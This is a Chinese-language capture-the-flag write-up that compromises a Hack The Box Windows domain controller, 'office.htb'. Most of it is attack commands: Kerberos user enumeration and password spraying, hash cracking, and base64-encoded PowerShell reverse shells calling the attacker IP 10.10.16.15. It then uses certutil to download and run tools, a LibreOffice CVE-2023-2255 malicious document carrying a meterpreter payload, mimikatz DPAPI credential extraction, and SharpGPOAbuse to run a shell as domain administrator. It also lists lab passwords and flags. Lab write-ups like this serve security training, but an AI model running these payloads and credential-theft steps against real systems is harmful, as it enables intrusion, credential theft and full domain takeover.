Main
$ nmap -sC -sV 10.10.11.3 --min-rate 1000
CMS:joomla
# echo '10.10.11.3 office.htb DC.office.htb'>>/etc/hosts
在扫描报告中,可以看到robots.txt目录泄露
http://10.10.11.3/administrator/index.php
根据CVE-2023-23752存在未授权访问
http://10.10.11.3/api/index.php/v1/config/application?public=true
很可惜这并不是web后台登录密码
username:root
password:H0lOgrams4reTakIng0Ver754!
Kerbrute
-
Kerbrute是一款用于渗透测试和红队操作的开源工具,专门用于暴力破解Kerberos协议。Kerberos是一种网络身份验证协议,通常用于Windows活动目录环境中,用于实现单点登录和安全身份验证。
-
用户枚举:Kerbrute可以通过暴力破解Kerberos预身份验证(Pre-Authentication)来枚举有效用户帐户。这有助于发现目标系统上存在的有效用户。
-
密码爆破:它可以尝试使用暴力破解技术猜解用户的密码,从而获取对目标系统的访问权限。Kerbrute支持使用字典和组合字典进行密码爆破攻击。
-
票据传递(Pass-the-Ticket)攻击:Kerbrute可以捕获有效用户的Kerberos票据,并尝试利用这些票据进行票据传递攻击,从而获取对其他系统的访问权限。
-
模块化设计:它采用模块化设计,允许用户自定义和扩展其功能,以满足不同的渗透测试需求。
$ sudo apt install golang-go
$ wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
$ chmod 777 kerbrute_linux_amd64
$ ./kerbrute_linux_amd64 userenum --dc DC.office.htb -d office.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o recore.log
$ grep -oP '\S+(?=@office\.htb)' recore.log | sort | uniq >Users.txt
尝试枚举用户
crackmapexec
-
CrackMapExec(CME)是一款用于渗透测试和红队行动的开源工具,用于自动化利用Windows活动目录(Active Directory)网络的渗透测试和攻击。它提供了一系列功能,包括:
-
用户认证和信息收集:CME可以通过多种方式(例如SMB、LDAP、RDP等)对Windows主机进行身份验证,并收集关于用户、组、计算机等对象的信息。
-
漏洞利用:CME可以利用已知的Windows漏洞,如SMB中的MS08-067、MS17-010等,从而获取对目标系统的访问权限。
-
会话管理:它可以建立、管理和操纵用户会话,执行命令并在目标系统上执行各种操作。
内网渗透:CME可以在Windows活动目录环境中执行各种内网渗透技术,如Pass-the-Hash(PTH)、Pass-the-Ticket(PTT)等,以获取更高的权限。
模块化框架:它是一个模块化的工具,允许用户自定义和扩展其功能,使其能够适应不同的渗透测试需求。
$ crackmapexec smb 10.10.11.3 -u Users.txt -p 'H0lOgrams4reTakIng0Ver754!' --shares
我们得知dwolfe用户可以使用服务器的SMB共享资源
$ smbclient //10.10.11.3/SOC\ Analysis -U dwolfe%H0lOgrams4reTakIng0Ver754!
smb: \> get Latest-System-Dump-8fbc124d.pcap ./Main.pacap
kerberos TGT
我可以看到在加密部分etype指定为AES256加密,cipher密文
复制密文a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
https://hashcat.net/wiki/doku.php?id=example_hashes
我们需要构建完整的解密结构
公式:$krb5pa$18$(USERNAME)$(DC_Server)$(Cipher)
etype选择18
使用用户tstark
解密密文结构:$krb5pa$18$tstark$office.htb$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
保存到hash
$ hashcat -m 19900 hash /usr/share/wordlists/rockyou.txt
username:tstark
password:playboy69
尝试用这个密码登录web后台管理员administrator
这里的主机是windows,所以需要反弹powershell
https://www.revshells.com/
exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA1ACIALAAxADAAMAAzADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA");
[kali]
$ wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
``
$ python3 -m http.server 80
[靶机]
> cd c:\\Users\Public\Downloads
> certutil -urlcache -split -f http://10.10.16.15/RunasCs.exe RunasCs.exe
> .\RunasCs.exe tstark playboy69 powershell -r 10.10.16.15:10033
User Flag
> type c:\\Users\tstark\Desktop\user.txt
50a96aa18344772ec1c10135ff5141d8
Root Flag
[靶机]
(tstark)> netstat -avn
(tstark)> cd C:\Users\Public\Downloads
(tstark)> certutil -urlcache -split -f http://10.10.16.15/chisel.exe chisel.exe
(tstark)> .\chisel.exe client 10.10.16.15:5564 R:8083:127.0.0.1:8083
[kali]
$ chisel server --port 5564 --reverse
kali访问http://127.0.0.1:8083
在Submit Application页面是一个简历申请表,存在一处文件上传
这里利用 LibreOffice漏洞CVE-2023-2255
[Kali]
$ git clone https://github.com/elweth-sec/CVE-2023-2255.git
$ python3 CVE-2023-2255.py --cmd 'C:\Users\Public\reverse.exe' --output 'exploit.odt'
再使用msfvenom生成稳定的会话
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.15 LPORT=10035 -f exe -o reverse.exe
$ msfconsole -x 'use exploit/multi/handler;set PAYLOAD windows/x64/meterpreter/reverse_tcp;set LHOST 10.10.16.15;set LPORT 10035;run'
[靶机]
> cd C:\Users\Public\
> certutil -urlcache -split -f http://10.10.16.15/reverse.exe reverse.exe
再将exploit.odt上传到个人简历
差不多等个3分钟左右…
[靶机]
进入powershell
(ppotts) PS> cd C:\Users\Public\Downloads
(ppotts) PS> Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
定位的凭据文件
(ppotts) PS> Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\
定位主键
主密钥(master key)是一个加密的对称密钥,可以用来解密其他内容。因此,提取加密的主密钥是很有意义的,因为这样可以后续解密使用该主密钥加密的其他内容。
(ppotts) PS> certutil -urlcache -split -f http://10.10.16.15/mimikatz.exe mimikatz.exe
(ppotts) PS> .\mimikatz.exe
mimikatz # dpapi::masterkey /in:"C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb" /rpc
获取主钥
dpapi::cred /in:"C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4" /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
使用evil-winrm连接主机
[kali]
$ vim /etc/proxychains4.conf
$ chisel server -p 9002 --reverse --socks5
[靶机]
(ppotts) PS> cd C:\Users\Public\Downloads
(ppotts) PS> .\chisel.exe client 10.10.16.15:9002 R:socks
[kali]
username:HHogan
password:H4ppyFtW183#
我们是无法直接访问目标端口9002,所以需要通过代理来绕过
下载https://github.com/byronkg/SharpGPOAbuse/releases/download/1.0/SharpGPOAbuse.exe
-
SharpGPOAbuse 是一种用于利用 Windows 环境中的 Group Policy Objects (GPOs) 的工具。GPOs 是 Windows 中用于配置计算机和用户操作环境的策略设置。通过 GPOs,系统管理员可以定义许多安全策略、网络设置、应用程序设置等。
-
SharpGPOAbuse 允许攻击者在合法的 Active Directory 环境中执行恶意代码,通过修改或滥用 GPOs 实现权限提升、执行代码、横向移动等攻击。它可以用于在目标系统上执行各种恶意操作,例如启动远程 shell、添加新用户、获取 NTLM hash 等。
[kali]
$ wget https://github.com/byronkg/SharpGPOAbuse/releases/download/1.0/SharpGPOAbuse.exe
[靶机]
*Evil-WinRM* PS C:\Users\HHogan\Documents> cd ../
*Evil-WinRM* PS C:\Users\HHogan\Documents> certutil -urlcache -split -f http://10.10.16.15/SharpGPOAbuse.exe SharpGPOAbuse.exe
添加为管理员,并且刷新配置
*Evil-WinRM* PS C:\Users\HHogan\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "s-h4ck13" --Author office\Administrator --Command "cmd.exe" --Arguments "<C>" --GPOName "Default Domain Controllers Policy"
*Evil-WinRM* PS C:\Users\HHogan\> gpupdate /force"
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "s-h4ck13" --Author office\Administrator --Command "cmd.exe" --Arguments "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA1ACIALAAxADAAMAAzADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA" --GPOName "Default Domain Controllers Policy" --Force
PS C:\Windows\system32> type c:\\Users\Administrator\Desktop\root.txt
5224918ae4a25196417ca0a559a084e6
文献:
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
https://tools.thehacker.recipes/mimikatz/modules/dpapi/masterkey